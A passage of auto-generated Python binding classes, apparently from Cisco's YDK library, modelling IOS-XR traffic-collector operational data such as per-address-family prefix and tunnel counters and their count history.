self._segment_path = lambda: "default-vrf"
self._absolute_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector/vrf-table/%s" % self._segment_path()
class Afs(Entity):
"""
Address Family specific operational data
.. attribute:: af
Operational data for given Address Family
**type**\: list of :py:class:`Af <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.VrfTable.DefaultVrf.Afs.Af>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.VrfTable.DefaultVrf.Afs, self).__init__()
self.yang_name = "afs"
self.yang_parent_name = "default-vrf"
self.is_top_level_class = False
self.has_list_ancestor = False
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([("af", ("af", TrafficCollector.VrfTable.DefaultVrf.Afs.Af))])
self._leafs = OrderedDict()
self.af = YList(self)
self._segment_path = lambda: "afs"
self._absolute_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector/vrf-table/default-vrf/%s" % self._segment_path()
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.VrfTable.DefaultVrf.Afs, [], name, value)
class Af(Entity):
"""
Operational data for given Address Family
.. attribute:: af_name (key)
Address Family name
**type**\: :py:class:`TcOperAfName <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TcOperAfName>`
.. attribute:: counters
Show Counters
**type**\: :py:class:`Counters <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.VrfTable.DefaultVrf.Afs.Af, self).__init__()
self.yang_name = "af"
self.yang_parent_name = "afs"
self.is_top_level_class = False
self.has_list_ancestor = False
self.ylist_key_names = ['af_name']
self._child_container_classes = OrderedDict([("counters", ("counters", TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters))])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('af_name', YLeaf(YType.enumeration, 'af-name')),
])
self.af_name = None
self.counters = TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters()
self.counters.parent = self
self._children_name_map["counters"] = "counters"
self._children_yang_names.add("counters")
self._segment_path = lambda: "af" + "[af-name='" + str(self.af_name) + "']"
self._absolute_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector/vrf-table/default-vrf/afs/%s" % self._segment_path()
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.VrfTable.DefaultVrf.Afs.Af, ['af_name'], name, value)
class Counters(Entity):
"""
Show Counters
.. attribute:: prefixes
Prefix Database
**type**\: :py:class:`Prefixes <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes>`
.. attribute:: tunnels
Tunnels
**type**\: :py:class:`Tunnels <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters, self).__init__()
self.yang_name = "counters"
self.yang_parent_name = "af"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([("prefixes", ("prefixes", TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes)), ("tunnels", ("tunnels", TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels))])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict()
self.prefixes = TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes()
self.prefixes.parent = self
self._children_name_map["prefixes"] = "prefixes"
self._children_yang_names.add("prefixes")
self.tunnels = TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels()
self.tunnels.parent = self
self._children_name_map["tunnels"] = "tunnels"
self._children_yang_names.add("tunnels")
self._segment_path = lambda: "counters"
class Prefixes(Entity):
"""
Prefix Database
.. attribute:: prefix
Show Prefix Counter
**type**\: list of :py:class:`Prefix <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes, self).__init__()
self.yang_name = "prefixes"
self.yang_parent_name = "counters"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([("prefix", ("prefix", TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix))])
self._leafs = OrderedDict()
self.prefix = YList(self)
self._segment_path = lambda: "prefixes"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes, [], name, value)
class Prefix(Entity):
"""
Show Prefix Counter
.. attribute:: ipaddr
IP Address
**type**\: str
**pattern:** [\\w\\\-\\.\:,\_@#%$\\+=\\\|;]+
.. attribute:: mask
Prefix Mask
**type**\: str
**pattern:** [\\w\\\-\\.\:,\_@#%$\\+=\\\|;]+
.. attribute:: label
Local Label
**type**\: int
**range:** 16..1048575
.. attribute:: base_counter_statistics
Base counter statistics
**type**\: :py:class:`BaseCounterStatistics <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics>`
.. attribute:: traffic_matrix_counter_statistics
Traffic Matrix (TM) counter statistics
**type**\: :py:class:`TrafficMatrixCounterStatistics <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics>`
.. attribute:: prefix
Prefix Address (V4 or V6 Format)
**type**\: str
.. attribute:: label_xr
Label
**type**\: int
**range:** 0..4294967295
.. attribute:: is_active
Prefix is Active and collecting new Statistics
**type**\: bool
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix, self).__init__()
self.yang_name = "prefix"
self.yang_parent_name = "prefixes"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([("base-counter-statistics", ("base_counter_statistics", TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics)), ("traffic-matrix-counter-statistics", ("traffic_matrix_counter_statistics", TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics))])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('ipaddr', YLeaf(YType.str, 'ipaddr')),
('mask', YLeaf(YType.str, 'mask')),
('label', YLeaf(YType.uint32, 'label')),
('prefix', YLeaf(YType.str, 'prefix')),
('label_xr', YLeaf(YType.uint32, 'label-xr')),
('is_active', YLeaf(YType.boolean, 'is-active')),
])
self.ipaddr = None
self.mask = None
self.label = None
self.prefix = None
self.label_xr = None
self.is_active = None
self.base_counter_statistics = TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics()
self.base_counter_statistics.parent = self
self._children_name_map["base_counter_statistics"] = "base-counter-statistics"
self._children_yang_names.add("base-counter-statistics")
self.traffic_matrix_counter_statistics = TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics()
self.traffic_matrix_counter_statistics.parent = self
self._children_name_map["traffic_matrix_counter_statistics"] = "traffic-matrix-counter-statistics"
self._children_yang_names.add("traffic-matrix-counter-statistics")
self._segment_path = lambda: "prefix"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix, ['ipaddr', 'mask', 'label', 'prefix', 'label_xr', 'is_active'], name, value)
class BaseCounterStatistics(Entity):
"""
Base counter statistics
.. attribute:: transmit_packets_per_second_switched
Average Rate of Packets/second switched
**type**\: int
**range:** 0..18446744073709551615
**units**\: packet/s
.. attribute:: transmit_bytes_per_second_switched
Average Rate of Bytes/second switched
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte/s
.. attribute:: count_history
Counter History
**type**\: list of :py:class:`CountHistory <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics.CountHistory>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics, self).__init__()
self.yang_name = "base-counter-statistics"
self.yang_parent_name = "prefix"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([("count-history", ("count_history", TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics.CountHistory))])
self._leafs = OrderedDict([
('transmit_packets_per_second_switched', YLeaf(YType.uint64, 'transmit-packets-per-second-switched')),
('transmit_bytes_per_second_switched', YLeaf(YType.uint64, 'transmit-bytes-per-second-switched')),
])
self.transmit_packets_per_second_switched = None
self.transmit_bytes_per_second_switched = None
self.count_history = YList(self)
self._segment_path = lambda: "base-counter-statistics"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics, ['transmit_packets_per_second_switched', 'transmit_bytes_per_second_switched'], name, value)
class CountHistory(Entity):
"""
Counter History
.. attribute:: event_start_timestamp
Event Start timestamp
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: event_end_timestamp
Event End timestamp
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: transmit_number_of_packets_switched
Number of packets switched in this interval
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: transmit_number_of_bytes_switched
Number of Bytes switched in this interval
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte
.. attribute:: is_valid
Flag to indicate if this history entry is valid
**type**\: bool
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics.CountHistory, self).__init__()
self.yang_name = "count-history"
self.yang_parent_name = "base-counter-statistics"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('event_start_timestamp', YLeaf(YType.uint64, 'event-start-timestamp')),
('event_end_timestamp', YLeaf(YType.uint64, 'event-end-timestamp')),
('transmit_number_of_packets_switched', YLeaf(YType.uint64, 'transmit-number-of-packets-switched')),
('transmit_number_of_bytes_switched', YLeaf(YType.uint64, 'transmit-number-of-bytes-switched')),
('is_valid', YLeaf(YType.boolean, 'is-valid')),
])
self.event_start_timestamp = None
self.event_end_timestamp = None
self.transmit_number_of_packets_switched = None
self.transmit_number_of_bytes_switched = None
self.is_valid = None
self._segment_path = lambda: "count-history"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics.CountHistory, ['event_start_timestamp', 'event_end_timestamp', 'transmit_number_of_packets_switched', 'transmit_number_of_bytes_switched', 'is_valid'], name, value)
class TrafficMatrixCounterStatistics(Entity):
"""
Traffic Matrix (TM) counter statistics
.. attribute:: transmit_packets_per_second_switched
Average Rate of Packets/second switched
**type**\: int
**range:** 0..18446744073709551615
**units**\: packet/s
.. attribute:: transmit_bytes_per_second_switched
Average Rate of Bytes/second switched
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte/s
.. attribute:: count_history
Counter History
**type**\: list of :py:class:`CountHistory <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics.CountHistory>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics, self).__init__()
self.yang_name = "traffic-matrix-counter-statistics"
self.yang_parent_name = "prefix"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([("count-history", ("count_history", TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics.CountHistory))])
self._leafs = OrderedDict([
('transmit_packets_per_second_switched', YLeaf(YType.uint64, 'transmit-packets-per-second-switched')),
('transmit_bytes_per_second_switched', YLeaf(YType.uint64, 'transmit-bytes-per-second-switched')),
])
self.transmit_packets_per_second_switched = None
self.transmit_bytes_per_second_switched = None
self.count_history = YList(self)
self._segment_path = lambda: "traffic-matrix-counter-statistics"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics, ['transmit_packets_per_second_switched', 'transmit_bytes_per_second_switched'], name, value)
class CountHistory(Entity):
"""
Counter History
.. attribute:: event_start_timestamp
Event Start timestamp
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: event_end_timestamp
Event End timestamp
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: transmit_number_of_packets_switched
Number of packets switched in this interval
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: transmit_number_of_bytes_switched
Number of Bytes switched in this interval
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte
.. attribute:: is_valid
Flag to indicate if this history entry is valid
**type**\: bool
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics.CountHistory, self).__init__()
self.yang_name = "count-history"
self.yang_parent_name = "traffic-matrix-counter-statistics"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('event_start_timestamp', YLeaf(YType.uint64, 'event-start-timestamp')),
('event_end_timestamp', YLeaf(YType.uint64, 'event-end-timestamp')),
('transmit_number_of_packets_switched', YLeaf(YType.uint64, 'transmit-number-of-packets-switched')),
('transmit_number_of_bytes_switched', YLeaf(YType.uint64, 'transmit-number-of-bytes-switched')),
('is_valid', YLeaf(YType.boolean, 'is-valid')),
])
self.event_start_timestamp = None
self.event_end_timestamp = None
self.transmit_number_of_packets_switched = None
self.transmit_number_of_bytes_switched = None
self.is_valid = None
self._segment_path = lambda: "count-history"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics.CountHistory, ['event_start_timestamp', 'event_end_timestamp', 'transmit_number_of_packets_switched', 'transmit_number_of_bytes_switched', 'is_valid'], name, value)
class Tunnels(Entity):
"""
Tunnels
.. attribute:: tunnel
Tunnel information
**type**\: list of :py:class:`Tunnel <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels.Tunnel>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels, self).__init__()
self.yang_name = "tunnels"
self.yang_parent_name = "counters"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([("tunnel", ("tunnel", TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels.Tunnel))])
self._leafs = OrderedDict()
self.tunnel = YList(self)
self._segment_path = lambda: "tunnels"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels, [], name, value)
class Tunnel(Entity):
"""
Tunnel information
.. attribute:: interface_name (key)
The Interface Name
**type**\: str
**pattern:** [a\-zA\-Z0\-9./\-]+
.. attribute:: base_counter_statistics
Base counter statistics
**type**\: :py:class:`BaseCounterStatistics <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics>`
.. attribute:: interface_name_xr
Interface name in Display format
**type**\: str
.. attribute:: interface_handle
Interface handle
**type**\: int
**range:** 0..4294967295
.. attribute:: vrfid
Interface VRF ID
**type**\: int
**range:** 0..4294967295
.. attribute:: is_active
Interface is Active and collecting new Statistics
**type**\: bool
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels.Tunnel, self).__init__()
self.yang_name = "tunnel"
self.yang_parent_name = "tunnels"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = ['interface_name']
self._child_container_classes = OrderedDict([("base-counter-statistics", ("base_counter_statistics", TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics))])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('interface_name', YLeaf(YType.str, 'interface-name')),
('interface_name_xr', YLeaf(YType.str, 'interface-name-xr')),
('interface_handle', YLeaf(YType.uint32, 'interface-handle')),
('vrfid', YLeaf(YType.uint32, 'vrfid')),
('is_active', YLeaf(YType.boolean, 'is-active')),
])
self.interface_name = None
self.interface_name_xr = None
self.interface_handle = None
self.vrfid = None
self.is_active = None
self.base_counter_statistics = TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics()
self.base_counter_statistics.parent = self
self._children_name_map["base_counter_statistics"] = "base-counter-statistics"
self._children_yang_names.add("base-counter-statistics")
self._segment_path = lambda: "tunnel" + "[interface-name='" + str(self.interface_name) + "']"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels.Tunnel, ['interface_name', 'interface_name_xr', 'interface_handle', 'vrfid', 'is_active'], name, value)
class BaseCounterStatistics(Entity):
"""
Base counter statistics
.. attribute:: transmit_packets_per_second_switched
Average Rate of Packets/second switched
**type**\: int
**range:** 0..18446744073709551615
**units**\: packet/s
.. attribute:: transmit_bytes_per_second_switched
Average Rate of Bytes/second switched
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte/s
.. attribute:: count_history
Counter History
**type**\: list of :py:class:`CountHistory <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics.CountHistory>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics, self).__init__()
self.yang_name = "base-counter-statistics"
self.yang_parent_name = "tunnel"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([("count-history", ("count_history", TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics.CountHistory))])
self._leafs = OrderedDict([
('transmit_packets_per_second_switched', YLeaf(YType.uint64, 'transmit-packets-per-second-switched')),
('transmit_bytes_per_second_switched', YLeaf(YType.uint64, 'transmit-bytes-per-second-switched')),
])
self.transmit_packets_per_second_switched = None
self.transmit_bytes_per_second_switched = None
self.count_history = YList(self)
self._segment_path = lambda: "base-counter-statistics"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics, ['transmit_packets_per_second_switched', 'transmit_bytes_per_second_switched'], name, value)
class CountHistory(Entity):
"""
Counter History
.. attribute:: event_start_timestamp
Event Start timestamp
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: event_end_timestamp
Event End timestamp
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: transmit_number_of_packets_switched
Number of packets switched in this interval
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: transmit_number_of_bytes_switched
Number of Bytes switched in this interval
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte
.. attribute:: is_valid
Flag to indicate if this history entry is valid
**type**\: bool
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics.CountHistory, self).__init__()
self.yang_name = "count-history"
self.yang_parent_name = "base-counter-statistics"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('event_start_timestamp', YLeaf(YType.uint64, 'event-start-timestamp')),
('event_end_timestamp', YLeaf(YType.uint64, 'event-end-timestamp')),
('transmit_number_of_packets_switched', YLeaf(YType.uint64, 'transmit-number-of-packets-switched')),
('transmit_number_of_bytes_switched', YLeaf(YType.uint64, 'transmit-number-of-bytes-switched')),
('is_valid', YLeaf(YType.boolean, 'is-valid')),
])
self.event_start_timestamp = None
self.event_end_timestamp = None
self.transmit_number_of_packets_switched = None
self.transmit_number_of_bytes_switched = None
self.is_valid = None
self._segment_path = lambda: "count-history"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.VrfTable.DefaultVrf.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics.CountHistory, ['event_start_timestamp', 'event_end_timestamp', 'transmit_number_of_packets_switched', 'transmit_number_of_bytes_switched', 'is_valid'], name, value)
class Afs(Entity):
"""
Address Family specific operational data
.. attribute:: af
Operational data for given Address Family
**type**\: list of :py:class:`Af <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Afs.Af>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Afs, self).__init__()
self.yang_name = "afs"
self.yang_parent_name = "traffic-collector"
self.is_top_level_class = False
self.has_list_ancestor = False
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([("af", ("af", TrafficCollector.Afs.Af))])
self._leafs = OrderedDict()
self.af = YList(self)
self._segment_path = lambda: "afs"
self._absolute_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector/%s" % self._segment_path()
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Afs, [], name, value)
class Af(Entity):
"""
Operational data for given Address Family
.. attribute:: af_name (key)
Address Family name
**type**\: :py:class:`TcOperAfName <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TcOperAfName>`
.. attribute:: counters
Show Counters
**type**\: :py:class:`Counters <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Afs.Af.Counters>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Afs.Af, self).__init__()
self.yang_name = "af"
self.yang_parent_name = "afs"
self.is_top_level_class = False
self.has_list_ancestor = False
self.ylist_key_names = ['af_name']
self._child_container_classes = OrderedDict([("counters", ("counters", TrafficCollector.Afs.Af.Counters))])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('af_name', YLeaf(YType.enumeration, 'af-name')),
])
self.af_name = None
self.counters = TrafficCollector.Afs.Af.Counters()
self.counters.parent = self
self._children_name_map["counters"] = "counters"
self._children_yang_names.add("counters")
self._segment_path = lambda: "af" + "[af-name='" + str(self.af_name) + "']"
self._absolute_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector/afs/%s" % self._segment_path()
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Afs.Af, ['af_name'], name, value)
class Counters(Entity):
"""
Show Counters
.. attribute:: prefixes
Prefix Database
**type**\: :py:class:`Prefixes <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Afs.Af.Counters.Prefixes>`
.. attribute:: tunnels
Tunnels
**type**\: :py:class:`Tunnels <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Afs.Af.Counters.Tunnels>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Afs.Af.Counters, self).__init__()
self.yang_name = "counters"
self.yang_parent_name = "af"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([("prefixes", ("prefixes", TrafficCollector.Afs.Af.Counters.Prefixes)), ("tunnels", ("tunnels", TrafficCollector.Afs.Af.Counters.Tunnels))])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict()
self.prefixes = TrafficCollector.Afs.Af.Counters.Prefixes()
self.prefixes.parent = self
self._children_name_map["prefixes"] = "prefixes"
self._children_yang_names.add("prefixes")
self.tunnels = TrafficCollector.Afs.Af.Counters.Tunnels()
self.tunnels.parent = self
self._children_name_map["tunnels"] = "tunnels"
self._children_yang_names.add("tunnels")
self._segment_path = lambda: "counters"
class Prefixes(Entity):
"""
Prefix Database
.. attribute:: prefix
Show Prefix Counter
**type**\: list of :py:class:`Prefix <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Afs.Af.Counters.Prefixes.Prefix>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Afs.Af.Counters.Prefixes, self).__init__()
self.yang_name = "prefixes"
self.yang_parent_name = "counters"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([("prefix", ("prefix", TrafficCollector.Afs.Af.Counters.Prefixes.Prefix))])
self._leafs = OrderedDict()
self.prefix = YList(self)
self._segment_path = lambda: "prefixes"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Afs.Af.Counters.Prefixes, [], name, value)
class Prefix(Entity):
"""
Show Prefix Counter
.. attribute:: ipaddr
IP Address
**type**\: str
**pattern:** [\\w\\\-\\.\:,\_@#%$\\+=\\\|;]+
.. attribute:: mask
Prefix Mask
**type**\: str
**pattern:** [\\w\\\-\\.\:,\_@#%$\\+=\\\|;]+
.. attribute:: label
Local Label
**type**\: int
**range:** 16..1048575
.. attribute:: base_counter_statistics
Base counter statistics
**type**\: :py:class:`BaseCounterStatistics <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics>`
.. attribute:: traffic_matrix_counter_statistics
Traffic Matrix (TM) counter statistics
**type**\: :py:class:`TrafficMatrixCounterStatistics <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics>`
.. attribute:: prefix
Prefix Address (V4 or V6 Format)
**type**\: str
.. attribute:: label_xr
Label
**type**\: int
**range:** 0..4294967295
.. attribute:: is_active
Prefix is Active and collecting new Statistics
**type**\: bool
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Afs.Af.Counters.Prefixes.Prefix, self).__init__()
self.yang_name = "prefix"
self.yang_parent_name = "prefixes"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([("base-counter-statistics", ("base_counter_statistics", TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics)), ("traffic-matrix-counter-statistics", ("traffic_matrix_counter_statistics", TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics))])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('ipaddr', YLeaf(YType.str, 'ipaddr')),
('mask', YLeaf(YType.str, 'mask')),
('label', YLeaf(YType.uint32, 'label')),
('prefix', YLeaf(YType.str, 'prefix')),
('label_xr', YLeaf(YType.uint32, 'label-xr')),
('is_active', YLeaf(YType.boolean, 'is-active')),
])
self.ipaddr = None
self.mask = None
self.label = None
self.prefix = None
self.label_xr = None
self.is_active = None
self.base_counter_statistics = TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics()
self.base_counter_statistics.parent = self
self._children_name_map["base_counter_statistics"] = "base-counter-statistics"
self._children_yang_names.add("base-counter-statistics")
self.traffic_matrix_counter_statistics = TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics()
self.traffic_matrix_counter_statistics.parent = self
self._children_name_map["traffic_matrix_counter_statistics"] = "traffic-matrix-counter-statistics"
self._children_yang_names.add("traffic-matrix-counter-statistics")
self._segment_path = lambda: "prefix"
def __setattr__(self, name, value):
